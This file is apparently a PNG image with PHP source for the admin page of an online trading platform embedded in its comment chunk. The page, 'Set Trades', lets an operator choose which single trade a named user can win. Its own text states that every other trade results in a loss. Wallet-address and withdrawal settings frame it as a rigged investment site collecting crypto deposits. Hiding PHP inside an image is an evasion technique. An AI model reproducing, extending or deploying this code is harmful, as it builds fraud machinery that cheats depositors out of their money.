PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
// Turn on error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
// Ensure includes exist
if (!file_exists('includes/connect.php') || !file_exists('includes/functions.php')) {
die("<h2 style='color:red; padding:20px; font-family:sans-serif;'>CRITICAL ERROR: Cannot find 'includes/connect.php' or 'includes/functions.php'. Please check your file paths.</h2>");
}
require_once('includes/connect.php');
require_once('includes/functions.php');
// Handle Logout
if (isset($_GET['l'])) {
admlogout();
header("location: logout.php");
exit();
}
// Authentication Check
if(!isset($_SESSION['pass'])) {
header("location: login.php");
exit();
}
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$alertMessage = "";
$alertType = "";
// =========================================================
// 1. HANDLE DELETING A TRADE RULE
// =========================================================
if (isset($_GET['delete_rule'])) {
$ruleId = intval($_GET['delete_rule']);
$stmtDel = $conn->prepare("DELETE FROM admin_trade_rules WHERE id = ?");
if ($stmtDel) {
$stmtDel->bind_param("i", $ruleId);
if ($stmtDel->execute()) {
$alertMessage = "Trade rule deleted successfully.";
$alertType = "success";
} else {
$alertMessage = "Failed to delete trade rule.";
$alertType = "error";
}
$stmtDel->close();
}
}
// =========================================================
// 2. HANDLE SETTING A NEW TRADE RULE
// =========================================================
if (isset($_POST['set_trade_rule'])) {
if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
$alertMessage = "Security validation failed.";
$alertType = "error";
} else {
$targetEmail = trim($_POST['target_email']);
$asset = trim($_POST['asset_symbol']);
$tradeType = trim($_POST['trade_type']);
$duration = intval($_POST['duration_minutes']);
$profitPct = floatval($_POST['profit_percentage']);
// Find User ID from Email
$stmtUser = $conn->prepare("SELECT ID FROM members WHERE Email = ?");
$stmtUser->bind_param("s", $targetEmail);
$stmtUser->execute();
$resUser = $stmtUser->get_result();
if ($resUser->num_rows > 0) {
$uRow = $resUser->fetch_assoc();
$targetUserId = $uRow['ID'];
// Insert Rule into admin_trade_rules table
$stmtRule = $conn->prepare("INSERT INTO admin_trade_rules (user_id, asset_symbol, required_direction, required_duration, profit_percentage, status) VALUES (?, ?, ?, ?, ?, 'ACTIVE')");
$stmtRule->bind_param("issid", $targetUserId, $asset, $tradeType, $duration, $profitPct);
if ($stmtRule->execute()) {
$alertMessage = "Trade constraint set! If {$targetEmail} executes this exact trade, they will win {$profitPct}%.";
$alertType = "success";
} else {
// If table doesn't exist yet
$alertMessage = "Database Error: Please ensure 'admin_trade_rules' table exists.";
$alertType = "error";
}
$stmtRule->close();
} else {
$alertMessage = "User with email '{$targetEmail}' not found.";
$alertType = "error";
}
$stmtUser->close();
}
}
// =========================================================
// 3. FETCH ALL ACTIVE RULES
// =========================================================
$tradeRules = [];
try {
$rulesQuery = $conn->query("
SELECT r.*, m.Email, m.Uname
FROM admin_trade_rules r
JOIN members m ON r.user_id = m.ID
ORDER BY r.created_at DESC
");
if ($rulesQuery) {
while ($row = $rulesQuery->fetch_assoc()) {
$tradeRules[] = $row;
}
}
} catch (Exception $e) {
// Fail silently if table doesn't exist yet
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Melody Admin - Set Trades</title>
<link rel="stylesheet" href="vendors/iconfonts/font-awesome/css/all.min.css">
<link rel="stylesheet" href="vendors/css/vendor.bundle.base.css">
<link rel="stylesheet" href="vendors/css/vendor.bundle.addons.css">
<link rel="stylesheet" href="css/style.css">
<link rel="shortcut icon" href="images/favicon.html" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
/* ========================================= */
/* MOBILE SIDEBAR MENU CSS */
/* ========================================= */
@media (max-width: 768px) {
.sidebar { transition: left 0.3s ease; }
.sidebar.open { left: 0 !important; }
}
/* ========================================= */
/* ADMIN DASHBOARD SPECIFIC CSS */
/* ========================================= */
.admin-section-card { background: #1a1d21; border: 1px solid #333; border-radius: 12px; padding: 24px; margin-bottom: 24px; }
.section-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; flex-wrap: wrap; gap: 15px;}
.section-title { font-size: 1.25rem; font-weight: 600; color: #fff; margin: 0; border-bottom: 1px solid #333; padding-bottom: 10px; width: 100%;}
.form-group { margin-bottom: 16px; }
.form-label { display: block; color: #a0a0b8; font-size: 0.9rem; margin-bottom: 8px; font-weight: 500; }
.form-control { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 12px 16px; color: white; font-size: 1rem; box-sizing: border-box; }
.form-control:focus { outline: none; border-color: #31acee; }
.form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; }
@media (max-width: 768px) { .form-row { grid-template-columns: 1fr; } }
.btn-admin { background: #31acee; color: #fff; border: none; padding: 14px; border-radius: 8px; font-weight: bold; font-size: 1rem; cursor: pointer; transition: 0.2s; width: 100%; margin-top: 10px;}
.btn-admin:hover { background: #2992ca; }
/* Search Bar */
.admin-search-wrapper { position: relative; width: 100%; max-width: 350px; margin-bottom: 20px;}
.admin-search-wrapper svg { position: absolute; left: 12px; top: 50%; transform: translateY(-50%); width: 18px; height: 18px; color: #8a8d97; }
.admin-search-wrapper input { background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; color: #fff; padding: 10px 10px 10px 40px; width: 100%; font-size: 14px; outline: none;}
.admin-search-wrapper input:focus { border-color: #31acee; }
/* Admin Table Styles */
.table-responsive { width: 100%; overflow-x: auto; -webkit-overflow-scrolling: touch; }
.admin-table { width: 100%; border-collapse: collapse; min-width: 800px; }
.admin-table th, .admin-table td { padding: 14px 12px; text-align: left; color: #e0e0e0; border-bottom: 1px solid #2d3038; font-size: 14px; }
.admin-table th { color: #8a8d97; font-weight: 600; text-transform: uppercase; font-size: 12px; letter-spacing: 0.5px; }
.admin-table tbody tr { transition: background-color 0.2s; }
.admin-table tbody tr:hover { background-color: hsla(0, 0%, 100%, 0.02); }
/* Badges & Action Buttons */
.badge { padding: 6px 12px; border-radius: 6px; font-weight: 600; font-size: 12px; text-decoration: none; display: inline-block; text-align: center; transition: opacity 0.2s;}
.badge:hover { opacity: 0.8; color: #fff; }
.badge-danger { background-color: rgba(239, 83, 80, 0.2); color: #EF5350; border: 1px solid #EF5350; }
/* Alerts */
.alert-msg { padding: 1rem; border-radius: 8px; margin-bottom: 1.5rem; font-size: 0.95em; text-align: center; font-weight: 500;}
.alert-error { background-color: rgba(244, 67, 54, 0.1); color: #EF5350; border: 1px solid rgba(244, 67, 54, 0.5);}
.alert-success { background-color: rgba(38, 166, 154, 0.1); color: #26A69A; border: 1px solid rgba(38, 166, 154, 0.5);}
@media (max-width: 768px) {
.admin-table thead { display: none; }
.admin-table, .admin-table tbody, .admin-table tr, .admin-table td { display: block; width: 100%; min-width: auto; }
.admin-table tr { background-color: #121417; border: 1px solid #2d3038; border-radius: 10px; margin-bottom: 16px; padding: 16px; }
.admin-table td { padding: 8px 0; text-align: right; position: relative; border: none; white-space: normal; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid hsla(0,0%,100%,0.05);}
.admin-table td:last-child { border-bottom: none; padding-bottom: 0; }
.admin-table td::before { content: attr(data-label); color: #8a8d97; font-size: 0.85rem; text-transform: uppercase; font-weight: 600; }
}
</style>
</head>
<body>
<div class="container-scroller dashboard-page">
<nav class="navbar col-lg-12 col-12 p-0 fixed-top d-flex flex-row default-layout-navbar">
<div class="text-center navbar-brand-wrapper d-flex align-items-center justify-content-center">
<a class="navbar-brand brand-logo" href="index.php"><img src="images/logo-mini.svg" alt="logo"/></a>
<a class="navbar-brand brand-logo-mini" href="index.php"><img src="images/logo-mini.svg" alt="logo"/></a>
</div>
<div class="navbar-menu-wrapper d-flex align-items-stretch">
<button class="navbar-toggler navbar-toggler align-self-center" type="button" data-toggle="minimize">
<span class="fas fa-bars"></span>
</button>
<ul class="navbar-nav navbar-nav-right">
<li class="nav-item nav-profile dropdown">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" id="profileDropdown">
<img src="images/faces/face5.jpg" alt="profile"/>
</a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown" aria-labelledby="profileDropdown">
<a href="cp.php" class="dropdown-item">
<i class="fas fa-cog text-primary"></i>
Settings
</a>
<div class="dropdown-divider"></div>
<a href="index.php?l" class="dropdown-item">
<i class="fas fa-power-off text-primary"></i>
Logout
</a>
</div>
</li>
</ul>
<button class="navbar-toggler navbar-toggler-right d-lg-none align-self-center" type="button" id="mobile-menu-btn">
<span class="fas fa-bars"></span>
</button>
</div>
</nav>
<div class="container-fluid page-body-wrapper">
<nav class="sidebar sidebar-offcanvas" id="sidebar">
<ul class="nav">
<li class="nav-item nav-profile">
<div class="nav-link">
<div class="profile-image">
<img src="images/faces/face5.jpg" alt="image"/>
</div>
<div class="profile-name">
<p class="name">Welcome Jane</p>
<p class="designation">Super Admin</p>
</div>
</div>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php">
<i class="fa fa-home menu-icon"></i>
<span class="menu-title"><b>Admin Dashboard</b></span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="collapse" href="#page-layouts" aria-expanded="false" aria-controls="page-layouts">
<i class="fab fa-trello menu-icon"></i>
<span class="menu-title">Member</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse" id="page-layouts">
<ul class="nav flex-column sub-menu">
<li class="nav-item"> <a class="nav-link" href="topup.php">Top up</a></li>
</ul>
</div>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="collapse" href="#sidebar-layouts" aria-expanded="false" aria-controls="sidebar-layouts">
<i class="fas fa-columns menu-icon"></i>
<span class="menu-title">Transaction</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse" id="sidebar-layouts">
<ul class="nav flex-column sub-menu">
<li class="nav-item"> <a class="nav-link" href="transaction.php">View Transaction</a></li>
<li class="nav-item"> <a class="nav-link" href="withdrawal.php">Withdrawal</a></li>
<li class="nav-item"> <a class="nav-link" href="admin_deposits.php">View Deposits</a></li>
<li class="nav-item"> <a class="nav-link" href="trash.php">Trash</a></li>
</ul>
</div>
</li>
<li class="nav-item active">
<a class="nav-link" href="admin_trades.php">
<i class="fas fa-chart-line menu-icon"></i>
<span class="menu-title">Set Trades</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="admin_realestate.php">
<i class="fas fa-building menu-icon"></i>
<span class="menu-title">Real Estate</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="acc.php">
<i class="fa fa-user menu-icon"></i>
<span class="menu-title">Account</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="notification.php">
<i class="fa fa-envelope menu-icon"></i>
<span class="menu-title">Send Notification</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="qmail.php">
<i class="fa fa-envelope menu-icon"></i>
<span class="menu-title">Send Email</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="collapse" href="#ui-basic" aria-expanded="false" aria-controls="ui-basic">
<i class="far fa-compass menu-icon"></i>
<span class="menu-title">Settings</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse" id="ui-basic">
<ul class="nav flex-column sub-menu">
<li class="nav-item"> <a class="nav-link" href="cp.php">Change password</a></li>
<li class="nav-item"> <a class="nav-link" href="script.php">Live chat Script</a></li>
<li class="nav-item"> <a class="nav-link" href="eth.php">Ethereum Address</a></li>
<li class="nav-item"> <a class="nav-link" href="usdt.php">Usdt-Trc20 Address</a></li>
<li class="nav-item"> <a class="nav-link" href="btc.php">Bitcoin Address</a></li>
</ul>
</div>
</li>
</ul>
</nav>
<div class="main-panel">
<div class="content-wrapper">
<?php if(!empty($alertMessage)): ?>
<div class="alert-msg <?php echo $alertType === 'success' ? 'alert-success' : 'alert-error'; ?>">
<?php echo $alertMessage; ?>
</div>
<?php endif; ?>
<section class="admin-section-card">
<h3 class="section-title">Configure User Trade Constraints</h3>
<p style="color:#aaa; font-size:14px; margin-bottom:20px; margin-top:10px;">
Set a specific winning trade rule for a user. If the user executes this exact trade, they will win the set profit percentage. Any other trade execution will result in a loss.
</p>
<form method="POST" action="admin_trades.php">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<div class="form-row">
<div class="form-group">
<label class="form-label">Target User Email</label>
<input type="email" name="target_email" class="form-control" placeholder="user@example.com" required>
</div>
<div class="form-group">
<label class="form-label">Required Asset</label>
<select name="asset_symbol" class="form-control" required>
<optgroup label="Crypto">
<option value="BINANCE:BTCUSDT">Bitcoin (BTC/USD)</option>
<option value="BINANCE:ETHUSDT">Ethereum (ETH/USD)</option>
<option value="BINANCE:SOLUSDT">Solana (SOL/USD)</option>
<option value="BINANCE:XRPUSDT">Ripple (XRP/USD)</option>
</optgroup>
<optgroup label="Forex">
<option value="FX:EURUSD">EUR / USD</option>
<option value="FX:GBPUSD">GBP / USD</option>
</optgroup>
<optgroup label="Stocks & Indices">
<option value="NASDAQ:AAPL">Apple Inc. (AAPL)</option>
<option value="TVC:SPX500">S&P 500</option>
<option value="TVC:NSX100">NASDAQ 100</option>
</optgroup>
<optgroup label="Commodities">
<option value="OANDA:XAU_USD">Gold (XAU/USD)</option>
<option value="TVC:WTI">Crude Oil (WTI)</option>
</optgroup>
</select>
</div>
</div>
<div class="form-row">
<div class="form-group">
<label class="form-label">Required Action</label>
<select name="trade_type" class="form-control" required>
<option value="BUY">BUY (Long)</option>
<option value="SELL">SELL (Short)</option>
</select>
</div>
<div class="form-group">
<label class="form-label">Required Duration (Minutes)</label>
<select name="duration_minutes" class="form-control" required>
<option value="1">1 Minute</option>
<option value="3">3 Minutes</option>
<option value="5">5 Minutes</option>
<option value="15">15 Minutes</option>
<option value="30">30 Minutes</option>
<option value="60">1 Hour</option>
<option value="120">2 Hours</option>
<option value="240">4 Hours</option>
<option value="1440">1 Day</option>
<option value="10080">1 Week</option>
</select>
</div>
</div>
<div class="form-group">
<label class="form-label">Profit Payout Percentage (%)</label>
<input type="number" step="0.1" name="profit_percentage" class="form-control" placeholder="e.g. 85.5" required>
<small style="color:#888; display:block; margin-top:5px;">If the user executes the above trade, they win this percentage of their staked amount.</small>
</div>
<button type="submit" name="set_trade_rule" class="btn-admin">Set Trade Constraint</button>
</form>
</section>
<section class="admin-section-card">
<div style="display:flex; justify-content:space-between; flex-wrap:wrap; gap:15px; margin-bottom:20px; align-items:center;">
<h3 class="section-title" style="border:none; margin:0; width:auto;">Active Trade Rules</h3>
<div class="admin-search-wrapper" style="margin:0;">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path></svg>
<input type="text" id="live-search-input" placeholder="Search by email or asset...">
</div>
</div>
<div class="table-responsive">
<table class="admin-table">
<thead>
<tr>
<th>Target User</th>
<th>Asset</th>
<th>Direction</th>
<th>Duration</th>
<th>Profit Set</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php if(!empty($tradeRules)): ?>
<?php foreach($tradeRules as $rule): ?>
<tr class="rule-row">
<td data-label="Target User" class="searchable-info">
<div style="font-weight:bold; color:#fff;"><?php echo htmlspecialchars($rule['Email']); ?></div>
<div style="color:#8a8d97; font-size:12px;">User: <?php echo htmlspecialchars($rule['Uname']); ?></div>
</td>
<td data-label="Asset" class="searchable-asset" style="color:#31acee; font-weight:bold;">
<?php echo htmlspecialchars($rule['asset_symbol']); ?>
</td>
<td data-label="Direction">
<?php
if($rule['required_direction'] == 'BUY') {
echo '<span style="color:#26A69A; font-weight:bold;">BUY</span>';
} else {
echo '<span style="color:#EF5350; font-weight:bold;">SELL</span>';
}
?>
</td>
<td data-label="Duration"><?php echo $rule['required_duration']; ?> mins</td>
<td data-label="Profit Set" style="color:#26A69A; font-weight:bold;">+<?php echo $rule['profit_percentage']; ?>%</td>
<td data-label="Actions">
<a href="admin_trades.php?delete_rule=<?php echo $rule['id']; ?>" class="badge badge-danger" onclick="return confirm('Are you sure you want to delete this rule? The user will revert to standard trading logic.');">Delete Rule</a>
</td>
</tr>
<?php endforeach; ?>
<?php else: ?>
<tr>
<td colspan="6" style="text-align:center; padding: 30px; color:#8a8d97;">No active trade constraints found.</td>
</tr>
<?php endif; ?>
</tbody>
</table>
</div>
</section>
</div>
<footer class="footer">
<div class="d-sm-flex justify-content-center justify-content-sm-between">
<span class="text-muted text-center text-sm-left d-block d-sm-inline-block">Copyright © <?php echo date('Y'); ?>. All rights reserved.</span>
</div>
</footer>
</div>
</div>
</div>
<script src="vendors/js/vendor.bundle.base.js"></script>
<script src="vendors/js/vendor.bundle.addons.js"></script>
<script src="js/off-canvas.js"></script>
<script src="js/hoverable-collapse.js"></script>
<script src="js/misc.js"></script>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Mobile Sidebar Toggle Fix
const mobileMenuBtn = document.getElementById('mobile-menu-btn');
const sidebar = document.getElementById('sidebar');
if (mobileMenuBtn && sidebar) {
mobileMenuBtn.addEventListener('click', function() {
sidebar.classList.toggle('open');
});
}
// Live Search Logic
const searchInput = document.getElementById('live-search-input');
const ruleRows = document.querySelectorAll('.rule-row');
if (searchInput) {
searchInput.addEventListener('input', function(e) {
const searchTerm = e.target.value.toLowerCase().trim();
ruleRows.forEach(row => {
const infoText = row.querySelector('.searchable-info').textContent.toLowerCase();
const assetText = row.querySelector('.searchable-asset').textContent.toLowerCase();
if (infoText.includes(searchTerm) || assetText.includes(searchTerm)) {
row.style.display = '';
} else {
row.style.display = 'none';
}
});
});
}
});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E